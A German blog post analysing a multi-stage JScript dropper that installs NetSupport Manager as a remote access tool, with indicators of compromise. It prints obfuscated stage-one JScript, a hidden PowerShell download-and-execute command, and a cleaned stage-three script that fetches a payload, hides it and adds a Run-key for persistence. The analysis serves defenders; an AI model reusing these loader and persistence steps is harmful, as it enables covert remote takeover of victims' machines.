127 lines
6.6 KiB
Markdown
127 lines
6.6 KiB
Markdown
---
|
|
title: "JScript delivered RAT"
|
|
date: 2023-04-28
|
|
draft: false
|
|
---
|
|
|
|
# *DISCLAIMER*
|
|
**Das Herunterladen und ausführen von Malware, auch zum Zwecke der Analyse, ist gefährlich. Ich übernehme
|
|
keinerlei Haftung für etwaige Schäden bei Nachahmung!**
|
|
|
|
| UPDATE |
|
|
|-------------------------------------------------------------------------------------------------------------------------------------------------------------------|
|
|
| Neuere Varianten dieser Malware verteilen nicht direkt die jscript-Datei, sondern eine HTML-Datei, die im Javascript erst eine Zip mit dieser JScript-Datei baut! |
|
|
|
|
## Einführung
|
|
In diesem Blogeintrag möchte ich einen kleinen Einblick in die Analyse bzw. das reverse-eingineering von Malware geben.
|
|
Hier anhand einer Beispielmalware, die über Mehrere Stufen letztendlich "NetSupport Manager" als Remote Access Tool
|
|
(RAT) installiert.
|
|
|
|
Auf den ersten Blick scheint die Datei vergleichsweise harmlos, insbesondere wenn man z.B. in Windows nicht aktiviert
|
|
hat, dass der Dateiname vollständig (inkl. Endung) angezeigt wird.
|
|
![Screenshot der Dateivorschau](/img/blog/Screenshot_from_2023-04_28-08-50-24.png)
|
|
|
|
Sollte ein Windows-User die Datei zum öffnen Doppelklicken, wird sie, statt wie zu erwarten im konfigurierten PDF-Viewer
|
|
angezeigt zu werden, vom [Windows Script Host](https://de.wikipedia.org/wiki/Windows_Script_Host) mithilfe dessen
|
|
JScript-Engine ausgeführt.
|
|
|
|
## Stage 1
|
|
Die initial heruntergeladene Datei ist sehr stark [Obfuscated](https://de.wikipedia.org/wiki/Obfuskation), was das
|
|
Reverse engineering deutlich erschwert. Ein relativ einfacher Trick ist hier jedoch, die eigentlichen Aufrufe, die die
|
|
nächste Stage herunterladen wollen, so umzubauen, dass sie statt dem eigentlichen Aufruf jediglich den entsprechenden
|
|
Code ausgeben:
|
|
|
|
```js
|
|
LRVydqTXzFWJIfh = l(0x46, 'psLt'), PoHdrRpqKNwXVGyEDMO = V0(0x12, 'J7Hu'), CkMPuJXlbEaniIF = new ActiveXObject(LRVydqTXzFWJIfh + '.APPlIcatioN'), FNwMBmgDjPdaInUxO = new ActiveXObject(V1(0x3a, '3NAk'));
|
|
FNwMBmgDjPdaInUxO[V1(0x39, 'bmzj')](V3(0x85, 'KWPY')) == ![] && CkMPuJXlbEaniIF[V3(0xac, 'ClZu')](PoHdrRpqKNwXVGyEDMO, V5(0xbb, '^B7D') + LRVydqTXzFWJIfh + V0(0x14, 'O7y)') + V3(0x8f, 'EFHx') + V5(0x87, 'xnQ2') + 'kAG8AdwBuAGwAb' + V0(0x4b, '$gV2') + l(0x9d, 't[sl') + '0AH' + V1(0x3, 'T1lY') + 'dAB0AHAAcw' + V1(0x27, 'K!KR') + V3(0x22, '0N#q') + V4(0x9e, '3ZuB') + 'AGgAcwB1AHAAcABsAHkAdQBzAC4AYwBvAG0' + V3(0x48, 's#8T') + 'BsAG8AYwBhAGwAc' + V5(0x2c, 'YL@E'), '', V3(0x71, 'l!tn'), 0x0);
|
|
```
|
|
_Hier erstellt die Malware ein ActiveXObjekt mit der nächsten Stufe und führt diese aus._
|
|
|
|
```js
|
|
LRVydqTXzFWJIfh = l(0x46, 'psLt'), PoHdrRpqKNwXVGyEDMO = V0(0x12, 'J7Hu'), CkMPuJXlbEaniIF = new ActiveXObject(LRVydqTXzFWJIfh + '.APPlIcatioN'), FNwMBmgDjPdaInUxO = new ActiveXObject(V1(0x3a, '3NAk'));
|
|
console.log(FNwMBmgDjPdaInUxO + V1(0x39, 'bmzj') + V3(0x85, 'KWPY')) ;
|
|
console.log(CkMPuJXlbEaniIF + V3(0xac, 'ClZu') )
|
|
console.log(PoHdrRpqKNwXVGyEDMO + V5(0xbb, '^B7D') + LRVydqTXzFWJIfh + V0(0x14, 'O7y)') + V3(0x8f, 'EFHx') + V5(0x87, 'xnQ2') + 'kAG8AdwBuAGwAb' + V0(0x4b, '$gV2') + l(0x9d, 't[sl') + '0AH' + V1(0x3, 'T1lY') + 'dAB0AHAAcw' + V1(0x27, 'K!KR') + V3(0x22, '0N#q') + V4(0x9e, '3ZuB') + 'AGgAcwB1AHAAcABsAHkAdQBzAC4AYwBvAG0' + V3(0x48, 's#8T') + 'BsAG8AYwBhAGwAc' + V5(0x2c, 'YL@E'), '', V3(0x71, 'l!tn'), 0x0);
|
|
```
|
|
_Der gleiche Teil des Codes, aber entschärft und mit print-Statements. Das "ActiveXObject" ist jetzt eine einfache
|
|
Klasse mit String dahinter._
|
|
|
|
Wenn man diesen Code dann mithilfe von NodeJS ausführt, erhält man den folgenden Output:
|
|
|
|
```
|
|
remnux@remnux:~/Analysis/nitrogen-diet-florida-monkey$ node nitrogen-diet-florida-monkey.js
|
|
ShElL.APPlIcatioN
|
|
scriptIng.fIlesysTemobjeCt
|
|
[object Object]FolderExistsC:\userss
|
|
[object Object]ShellExecute
|
|
cmd/C POwerShElL -nop -w hidden -ep bypass -enc <BASE64String> oPen 0
|
|
```
|
|
|
|
der Base64 kodierte String enthält diesen Powershellbefehl, der die nächste Stufe der Malware herunterlädt.
|
|
```powershell
|
|
IEX (New-Object Net.Webclient).downloadstring("<STAGE3URL>")
|
|
```
|
|
|
|
## Stage 3
|
|
|
|
Stufe 3 der Malware ist ein Powershell-Skript, das auch wieder obfuskiert ist, z.B. durch seltsame Groß/Kleinschreibung,
|
|
String-Formatierung und großzügig verteilten \`, die in Powershell als Escape verwendet werden (im Gegensatz zu den
|
|
meisten anderen Sprachen, die \\ verwenden). Zudem wurde der gesamte Code in eine Zeile geschrieben.
|
|
|
|
```powershell
|
|
{rn`UM}=&("{2}{0}{1}"-f 'and','om','Get-R') -minimum 5 -maximum 9; ${r`Rn`UM}=&("{3}{2}{0}{1}"-f 'Rand','om','-','Get') -minimum 1024 -maximum 9999; ${CH`Rs}=("{8}{9}{6}{2}{10}{11}{12}{0}{14}{4}{13}{5}{3}{7}{1}" -f 'D','PRSTUVWXYZ','pstuvw','KLM','F','J','mno','NO','abcdefghi','jkl','x','yz','ABC','GHI','E'); ${R`STR}=''; ${r`An}=.("{0}{1}{2}{3}" -f'New-O','bje','c','t') ("{1}{0}{3}{2}"-f 'm.Ra','Syste','m','ndo');
|
|
```
|
|
_Ausschnitt aus dem Originalcode_
|
|
|
|
```powershell
|
|
#!/usr/bin/env pwsh
|
|
|
|
&('cd') ${ENV:appdata}
|
|
${link} = "https://<payloadurl>/wp-content/plugins/giveme.php"
|
|
${rnum} = 5
|
|
${rrnum} = 1337
|
|
${chrs} = "abcdefghijklmnopstuvwxyzABCDEFGHIJKLMNOPRSTUVWXYZ"
|
|
${rstr} = ''
|
|
${ran} = .(New-Object System.Random)
|
|
for (${i} = 0
|
|
${i} -lt ${r`NuM}
|
|
${I}++) { ${rstr} += ${chrs}[${ran}.next.Invoke(0, ${chrs}."length")] }
|
|
${rzip} = ${rstr} + ".zip"
|
|
${path} = ${ENV:`APPDATA} + '\' + ${rzip}
|
|
${pzip} = ${ENV: APPDATA} + "\ONEN0TEupdate_"
|
|
write-host (Start-Bitstransfer) -Source ${link} -Destination ${path}
|
|
&(Expand-Archive -path ${path} -destinationpath ${pzip})
|
|
${fold} = &(Get-Item) ${pzip} -Force
|
|
${fold}.Attributes = Hidden
|
|
&(Remove-Item) -path ${path}
|
|
&('cd') ${pzip}
|
|
Write-Output Start client32.exe
|
|
${fstr} = ${ENV:appdata} + ".\ONEN0TEupdate_1337\client32.exe"
|
|
${rnm} = ONEN0TEupdate_1337
|
|
Write-Output New-ItemProperty -Path HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run -Name ONEN0TEupdate_1337 -Value ${fstr} -PropertyType String
|
|
|
|
```
|
|
_Stage3, aufgeräumt und vereinfacht_
|
|
|
|
Stufe 3 ist die Stufe, die letztendlich die eigentliche Payload herunterlädt. sowie einen Autostart-Registrykey
|
|
erstellt.
|
|
Bei der Payload handelt es sich um eine vorkonfigurierte Version von NetSupport Manager, die sich mit dem C2-Server
|
|
verbindet.
|
|
|
|
## IOCs
|
|
|
|
### C2-Server
|
|
* blahadfurtik.com:5222 (IP: 89.22.237.94 )
|
|
|
|
### Lokal/Filesystem
|
|
* Ordner mit dem Namen "ONEN0TEupdate\_XXXX" in `C:/Users/<USER>/AppData/Roaming/`
|
|
* Registry-Key unter `HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run` mit dem gleichen Namen wie der Ordner in
|
|
Appdata und zu client32.exe in diesem zeigend
|
|
|
|
|
|
|
|
|
|
-----------
|
|
Verwendetes Sample: SHA256:00d87e984f0fcd2e8fb55e4b83d86027dac67fd073958a95cbc98961ab940f4b
|
|
Quelle: bazaar.abuse.ch
|